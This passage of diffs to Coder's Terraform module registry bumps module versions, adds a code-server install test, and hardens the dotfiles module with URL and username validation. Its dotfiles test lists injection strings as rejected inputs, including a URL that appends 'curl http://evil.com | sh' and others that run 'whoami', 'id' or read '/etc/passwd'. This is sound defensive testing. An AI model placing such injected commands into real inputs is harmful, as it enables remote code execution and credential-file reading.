"${BOUNDARY_CMD[@]}" "${BOUNDARY_ARGS[@]}" -- \
|
||||
claude "${ARGS[@]}"
|
||||
else
|
||||
agentapi server --type claude --term-width 67 --term-height 1190 -- claude "${ARGS[@]}"
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
import {
|
||||
execContainer,
|
||||
findResourceInstance,
|
||||
removeContainer,
|
||||
runContainer,
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
testRequiredVariables,
|
||||
@@ -34,5 +38,47 @@ describe("code-server", async () => {
|
||||
expect(t).toThrow("Offline mode does not allow extensions to be installed");
|
||||
});
|
||||
|
||||
// More tests depend on shebang refactors
|
||||
it("installs and runs code-server", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
});
|
||||
|
||||
const id = await runContainer("ubuntu:latest");
|
||||
try {
|
||||
await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
"apt-get update && apt-get install -y curl",
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script").script;
|
||||
const result = await execContainer(id, ["bash", "-c", script]);
|
||||
if (result.exitCode !== 0) {
|
||||
console.log(result.stdout);
|
||||
console.log(result.stderr);
|
||||
}
|
||||
expect(result.exitCode).toBe(0);
|
||||
|
||||
const version = await execContainer(id, [
|
||||
"/tmp/code-server/bin/code-server",
|
||||
"--version",
|
||||
]);
|
||||
expect(version.exitCode).toBe(0);
|
||||
expect(version.stdout).toMatch(/\d+\.\d+\.\d+/);
|
||||
|
||||
const health = await execContainer(id, [
|
||||
"curl",
|
||||
"--retry",
|
||||
"10",
|
||||
"--retry-delay",
|
||||
"1",
|
||||
"--retry-all-errors",
|
||||
"-sf",
|
||||
"http://localhost:13337/healthz",
|
||||
]);
|
||||
expect(health.exitCode).toBe(0);
|
||||
} finally {
|
||||
await removeContainer(id);
|
||||
}
|
||||
}, 60000);
|
||||
});
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "cursor" {
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,7 +66,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -42,7 +42,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
}
|
||||
@@ -54,14 +54,14 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
|
||||
module "dotfiles-root" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
dotfiles_uri = module.dotfiles.dotfiles_uri
|
||||
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
||||
}
|
||||
|
||||
@@ -12,20 +12,47 @@ describe("dotfiles", async () => {
|
||||
agent_id: "foo",
|
||||
});
|
||||
|
||||
it("default output", async () => {
|
||||
it("default output is empty string", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe("");
|
||||
});
|
||||
|
||||
it("set a default dotfiles_uri", async () => {
|
||||
const default_dotfiles_uri = "foo";
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
default_dotfiles_uri,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
|
||||
it("accepts valid git URL formats", async () => {
|
||||
const validUrls = [
|
||||
"https://github.com/coder/dotfiles",
|
||||
"https://github.com/coder/dotfiles.git",
|
||||
"git@github.com:coder/dotfiles.git",
|
||||
"git://github.com/coder/dotfiles.git",
|
||||
"ssh://git@github.com/coder/dotfiles.git",
|
||||
];
|
||||
for (const url of validUrls) {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects invalid or malicious URLs", async () => {
|
||||
const invalidUrls = [
|
||||
"https://github.com/user/repo; curl http://evil.com | sh",
|
||||
"https://github.com/$(whoami)/repo",
|
||||
"https://github.com/`id`/repo",
|
||||
"https://github.com/user/repo|cat /etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"not-a-valid-url",
|
||||
];
|
||||
for (const url of invalidUrls) {
|
||||
await expect(
|
||||
runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
}),
|
||||
).rejects.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it("set custom order for coder_parameter", async () => {
|
||||
|
||||
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
|
||||
type = string
|
||||
description = "The default dotfiles URI if the workspace user does not provide one"
|
||||
default = ""
|
||||
|
||||
validation {
|
||||
condition = (
|
||||
var.default_dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "dotfiles_uri" {
|
||||
type = string
|
||||
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
||||
default = null
|
||||
|
||||
default = null
|
||||
validation {
|
||||
condition = (
|
||||
var.dotfiles_uri == null ||
|
||||
var.dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "user" {
|
||||
type = string
|
||||
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
||||
default = null
|
||||
|
||||
validation {
|
||||
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
|
||||
error_message = "Must be a valid username without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "coder_parameter_order" {
|
||||
@@ -63,6 +84,12 @@ variable "manual_update" {
|
||||
default = false
|
||||
}
|
||||
|
||||
variable "post_clone_script" {
|
||||
description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
|
||||
type = string
|
||||
default = null
|
||||
}
|
||||
|
||||
data "coder_parameter" "dotfiles_uri" {
|
||||
count = var.dotfiles_uri == null ? 1 : 0
|
||||
type = "string"
|
||||
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
|
||||
description = var.description
|
||||
mutable = true
|
||||
icon = "/icon/dotfiles.svg"
|
||||
|
||||
validation {
|
||||
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
|
||||
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
|
||||
user = var.user != null ? var.user : ""
|
||||
encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
|
||||
}
|
||||
|
||||
resource "coder_script" "dotfiles" {
|
||||
agent_id = var.agent_id
|
||||
script = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
display_name = "Dotfiles"
|
||||
icon = "/icon/dotfiles.svg"
|
||||
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
|
||||
group = var.group
|
||||
command = templatefile("${path.module}/run.sh", {
|
||||
DOTFILES_URI : local.dotfiles_uri,
|
||||
DOTFILES_USER : local.user
|
||||
DOTFILES_USER : local.user,
|
||||
POST_CLONE_SCRIPT : local.encoded_post_clone_script
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,19 @@ set -euo pipefail
|
||||
DOTFILES_URI="${DOTFILES_URI}"
|
||||
DOTFILES_USER="${DOTFILES_USER}"
|
||||
|
||||
# Validate DOTFILES_URI to prevent command injection (defense in depth)
|
||||
if [ -n "$DOTFILES_URI" ]; then
|
||||
# shellcheck disable=SC2250
|
||||
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
|
||||
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
|
||||
exit 1
|
||||
fi
|
||||
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
|
||||
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2157
|
||||
if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ -z "$DOTFILES_USER" ]; then
|
||||
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ "$DOTFILES_USER" = "$USER" ]; then
|
||||
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
||||
else
|
||||
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
|
||||
# eval echo ~coder -> "/home/coder"
|
||||
# eval echo ~root -> "/root"
|
||||
if command -v getent > /dev/null 2>&1; then
|
||||
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
|
||||
else
|
||||
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
|
||||
fi
|
||||
if [ -z "$DOTFILES_USER_HOME" ]; then
|
||||
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CODER_BIN=$(which coder)
|
||||
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
|
||||
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
|
||||
CODER_BIN=$(command -v coder)
|
||||
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
|
||||
fi
|
||||
fi
|
||||
|
||||
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
|
||||
|
||||
if [ -n "$POST_CLONE_SCRIPT" ]; then
|
||||
echo "Running post-clone script..."
|
||||
POST_CLONE_TMP=$(mktemp)
|
||||
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
|
||||
chmod +x "$POST_CLONE_TMP"
|
||||
$POST_CLONE_TMP
|
||||
rm "$POST_CLONE_TMP"
|
||||
fi
|
||||
|
||||
@@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ TODO: Add screenshot
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
allow_email_change = true
|
||||
}
|
||||
@@ -43,7 +43,7 @@ TODO: Add screenshot
|
||||
module "git-config" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/git-config/coder"
|
||||
version = "1.0.32"
|
||||
version = "1.0.33"
|
||||
agent_id = coder_agent.main.id
|
||||
allow_username_change = false
|
||||
allow_email_change = false
|
||||
|
||||
@@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
|
||||
description = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
|
||||
display_name = "Git config user.email"
|
||||
mutable = true
|
||||
styling = jsonencode({
|
||||
placeholder = data.coder_workspace_owner.me.email
|
||||
})
|
||||
}
|
||||
|
||||
data "coder_parameter" "username" {
|
||||
@@ -55,6 +58,9 @@ data "coder_parameter" "username" {
|
||||
description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
|
||||
display_name = "Full Name for Git config"
|
||||
mutable = true
|
||||
styling = jsonencode({
|
||||
placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
|
||||
})
|
||||
}
|
||||
|
||||
resource "coder_env" "git_author_name" {
|
||||
|
||||
@@ -8,6 +8,9 @@ tags: [ide, jetbrains, fleet]
|
||||
|
||||
# Jetbrains Fleet
|
||||
|
||||
> [!WARNING]
|
||||
> **Deprecation Notice:** JetBrains has announced that Fleet will be discontinued. For more information, see [The Future of Fleet](https://blog.jetbrains.com/fleet/2025/12/the-future-of-fleet). Consider migrating to other JetBrains IDEs such as IntelliJ IDEA, PyCharm, or GoLand with the [JetBrains](https://registry.coder.com/modules/jetbrains) module.
|
||||
|
||||
This module adds a Jetbrains Fleet button to your Coder workspace that opens the workspace in JetBrains Fleet using SSH remote development.
|
||||
|
||||
JetBrains Fleet is a next-generation IDE that supports collaborative development and distributed architectures. It connects to your Coder workspace via SSH, providing a seamless remote development experience.
|
||||
@@ -16,7 +19,7 @@ JetBrains Fleet is a next-generation IDE that supports collaborative development
|
||||
module "jetbrains_fleet" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jetbrains-fleet/coder"
|
||||
version = "1.0.2"
|
||||
version = "1.0.3"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -37,7 +40,7 @@ module "jetbrains_fleet" {
|
||||
module "jetbrains_fleet" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jetbrains-fleet/coder"
|
||||
version = "1.0.2"
|
||||
version = "1.0.3"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -48,7 +51,7 @@ module "jetbrains_fleet" {
|
||||
module "jetbrains_fleet" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jetbrains-fleet/coder"
|
||||
version = "1.0.2"
|
||||
version = "1.0.3"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -60,7 +63,7 @@ module "jetbrains_fleet" {
|
||||
module "jetbrains_fleet" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jetbrains-fleet/coder"
|
||||
version = "1.0.2"
|
||||
version = "1.0.3"
|
||||
agent_id = coder_agent.main.id
|
||||
display_name = "Fleet"
|
||||
group = "JetBrains IDEs"
|
||||
@@ -74,7 +77,7 @@ module "jetbrains_fleet" {
|
||||
module "jetbrains_fleet" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jetbrains-fleet/coder"
|
||||
version = "1.0.2"
|
||||
version = "1.0.3"
|
||||
agent_id = coder_agent.main.id
|
||||
agent_name = coder_agent.example.name
|
||||
}
|
||||
|
||||
@@ -42,7 +42,7 @@ module "jetbrains" {
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
|
||||
default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
|
||||
module "jupyterlab" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jupyterlab/coder"
|
||||
version = "1.2.1"
|
||||
version = "1.2.2"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
|
||||
module "jupyterlab" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/jupyterlab/coder"
|
||||
version = "1.2.1"
|
||||
version = "1.2.2"
|
||||
agent_id = coder_agent.main.id
|
||||
config = {
|
||||
ServerApp = {
|
||||
|
||||
@@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
|
||||
expect(output.exitCode).toBe(1);
|
||||
expect(output.stdout).toEqual([
|
||||
"Checking for a supported installer",
|
||||
"No valid installer is not installed",
|
||||
"No supported installer found.",
|
||||
"Please install pipx or uv in your Dockerfile/VM image before running this script",
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -14,7 +14,7 @@ check_available_installer() {
|
||||
INSTALLER="uv"
|
||||
return
|
||||
fi
|
||||
echo "No valid installer is not installed"
|
||||
echo "No supported installer found."
|
||||
echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
|
||||
exit 1
|
||||
}
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
|
||||
module "kasmvnc" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kasmvnc/coder"
|
||||
version = "1.2.7"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
desktop_environment = "xfce"
|
||||
subdomain = true
|
||||
|
||||
@@ -54,6 +54,15 @@ variable "subdomain" {
|
||||
description = "Is subdomain sharing enabled in your cluster?"
|
||||
}
|
||||
|
||||
variable "share" {
|
||||
type = string
|
||||
default = "owner"
|
||||
validation {
|
||||
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
|
||||
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_script" "kasm_vnc" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "KasmVNC"
|
||||
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
|
||||
url = "http://localhost:${var.port}"
|
||||
icon = "/icon/kasmvnc.svg"
|
||||
subdomain = var.subdomain
|
||||
share = "owner"
|
||||
share = var.share
|
||||
order = var.order
|
||||
group = var.group
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "kiro" {
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
|
||||
module "kiro" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/kiro/coder"
|
||||
version = "1.2.0"
|
||||
version = "1.2.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -53,7 +53,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
---
|
||||
display_name: mux
|
||||
display_name: Mux
|
||||
description: Coding Agent Multiplexer - Run multiple AI agents in parallel
|
||||
icon: ../../../../.icons/mux.svg
|
||||
verified: true
|
||||
tags: [ai, agents, development, multiplexer]
|
||||
---
|
||||
|
||||
# mux
|
||||
# Mux
|
||||
|
||||
Automatically install and run [mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
|
||||
Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
## Features
|
||||
|
||||
- **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks
|
||||
- **Mux Workspace Isolation**: Each agent works in its own isolated environment
|
||||
- **Git Divergence Visualization**: Track changes across different mux agent workspaces
|
||||
- **Git Divergence Visualization**: Track changes across different Mux agent workspaces
|
||||
- **Long-Running Processes**: Resume AI work after interruptions
|
||||
- **Cost Tracking**: Monitor API usage across agents
|
||||
|
||||
@@ -37,7 +37,7 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -48,20 +48,34 @@ module "mux" {
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
# Default is "latest"; set to a specific version to pin
|
||||
install_version = "0.4.0"
|
||||
}
|
||||
```
|
||||
|
||||
### Open a Project on Launch
|
||||
|
||||
Start Mux with `mux server --add-project /path/to/project`:
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
add-project = "/path/to/project"
|
||||
}
|
||||
```
|
||||
|
||||
### Custom Port
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
port = 8080
|
||||
}
|
||||
@@ -69,13 +83,13 @@ module "mux" {
|
||||
|
||||
### Use Cached Installation
|
||||
|
||||
Run an existing copy of mux if found, otherwise install from npm:
|
||||
Run an existing copy of Mux if found, otherwise install from npm:
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
use_cached = true
|
||||
}
|
||||
@@ -83,13 +97,13 @@ module "mux" {
|
||||
|
||||
### Skip Install
|
||||
|
||||
Run without installing from the network (requires mux to be pre-installed):
|
||||
Run without installing from the network (requires Mux to be pre-installed):
|
||||
|
||||
```tf
|
||||
module "mux" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/mux/coder"
|
||||
version = "1.0.7"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.main.id
|
||||
install = false
|
||||
}
|
||||
@@ -101,6 +115,6 @@ module "mux" {
|
||||
|
||||
## Notes
|
||||
|
||||
- mux is currently in preview and you may encounter bugs
|
||||
- Mux is currently in preview and you may encounter bugs
|
||||
- Requires internet connectivity for agent operations (unless `install` is set to false)
|
||||
- Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable)
|
||||
|
||||
@@ -7,6 +7,10 @@ terraform {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.5"
|
||||
}
|
||||
random = {
|
||||
source = "hashicorp/random"
|
||||
version = ">= 3.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,43 +21,43 @@ variable "agent_id" {
|
||||
|
||||
variable "port" {
|
||||
type = number
|
||||
description = "The port to run mux on."
|
||||
description = "The port to run Mux on."
|
||||
default = 4000
|
||||
}
|
||||
|
||||
variable "display_name" {
|
||||
type = string
|
||||
description = "The display name for the mux application."
|
||||
default = "mux"
|
||||
description = "The display name for the Mux application."
|
||||
default = "Mux"
|
||||
}
|
||||
|
||||
variable "slug" {
|
||||
type = string
|
||||
description = "The slug for the mux application."
|
||||
description = "The slug for the Mux application."
|
||||
default = "mux"
|
||||
}
|
||||
|
||||
variable "install_prefix" {
|
||||
type = string
|
||||
description = "The prefix to install mux to."
|
||||
description = "The prefix to install Mux to."
|
||||
default = "/tmp/mux"
|
||||
}
|
||||
|
||||
variable "log_path" {
|
||||
type = string
|
||||
description = "The path for mux logs."
|
||||
description = "The path for Mux logs."
|
||||
default = "/tmp/mux.log"
|
||||
}
|
||||
|
||||
variable "add-project" {
|
||||
type = string
|
||||
description = "Path to add/open as a project in mux (idempotent)."
|
||||
default = ""
|
||||
description = "Optional path to add/open as a project in Mux on startup."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "install_version" {
|
||||
type = string
|
||||
description = "The version or dist-tag of mux to install."
|
||||
description = "The version or dist-tag of Mux to install."
|
||||
default = "next"
|
||||
}
|
||||
|
||||
@@ -80,13 +84,13 @@ variable "group" {
|
||||
|
||||
variable "install" {
|
||||
type = bool
|
||||
description = "Install mux from the network (npm or tarball). If false, run without installing (requires a pre-installed mux)."
|
||||
description = "Install Mux from the network (npm or tarball). If false, run without installing (requires a pre-installed Mux)."
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "use_cached" {
|
||||
type = bool
|
||||
description = "Use cached copy of mux if present; otherwise install from npm"
|
||||
description = "Use cached copy of Mux if present; otherwise install from npm"
|
||||
default = false
|
||||
}
|
||||
|
||||
@@ -96,7 +100,7 @@ variable "subdomain" {
|
||||
Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder.
|
||||
If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible.
|
||||
EOT
|
||||
default = false
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "open_in" {
|
||||
@@ -113,18 +117,35 @@ variable "open_in" {
|
||||
}
|
||||
}
|
||||
|
||||
# Per-module auth token for cross-site request protection.
|
||||
# We pass this token into each mux process at launch time (process-scoped env)
|
||||
# and include it in the app URL query string (?token=...).
|
||||
#
|
||||
# Why process-scoped env instead of a shared coder_env value:
|
||||
